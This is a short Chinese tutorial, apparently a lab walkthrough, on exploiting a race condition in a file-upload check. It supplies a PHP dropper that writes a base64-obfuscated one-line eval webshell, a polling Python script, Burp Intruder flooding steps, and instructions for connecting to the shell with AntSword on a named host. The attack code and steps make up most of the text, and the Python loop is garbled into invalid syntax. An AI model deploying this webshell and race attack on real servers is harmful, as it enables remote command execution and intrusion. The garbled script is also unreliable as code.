条件竞争原理:
条件竞争的逻辑是代码逻辑问题:当我们文件上传到服务器时,先对文件进行保存,然后对文件的后缀名进行判断,符合白名单的保存,不符合就删除,但在删除之前,有另一个对服务器发起的请求,要访问这个文件,那么就可能造成文件被读取和访问。这就是条件竞争。
首先准备一个php文件:
1.php
<?php
file_put_contents('2.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+'));
echo "一句话木马已生成: 2.php";
?>
这是将一句话木马写入2.php中,并且一句话木马被base64加密
其次准备竞争的代码,就是对服务端发起请求,请求访问上传的文件
a.py
import requests
import time
url = "http://IP:端口/upload/1.php"
while 1:res=requests.get(url)print( res.status_code)if res.status_code==200:print(res.content)
time.sleep(0.1)
然后就是打开burp,进行抓包,营造出无数个人去上传 1.php 的场景
具体步骤演示:
首先,进入靶场
其次burp抓包,进入intruder模块,payload选择无,然后选择无限制次数访问
接着运行a.py,然后进行爆破
等到终端出现200成功的状态码,就可以去访问http://home.edu.ltsec.com:51746/upload/2.php
,会出现空白页面
接着就可以用蚁剑进行连接了
连接链接
http://home.edu.ltsec.com:51746/upload/2.php
需要注意的是,我们的木马是进行base64加密的,所以连接的时候蚁剑要进行base64解密